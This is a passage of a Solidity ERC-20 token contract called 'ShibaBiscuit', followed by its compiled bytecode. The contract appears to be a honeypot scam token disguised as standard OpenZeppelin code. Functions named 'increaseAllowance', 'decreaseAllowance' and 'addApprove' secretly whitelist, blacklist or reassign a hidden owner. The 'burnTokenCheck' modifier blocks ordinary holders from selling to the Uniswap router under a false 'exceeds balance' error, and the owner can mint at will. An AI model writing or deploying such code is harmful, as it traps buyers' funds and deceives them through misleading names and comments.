balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ShibaBiscuit is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** function check token - allow transfer, 3% added to liquidity. */
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646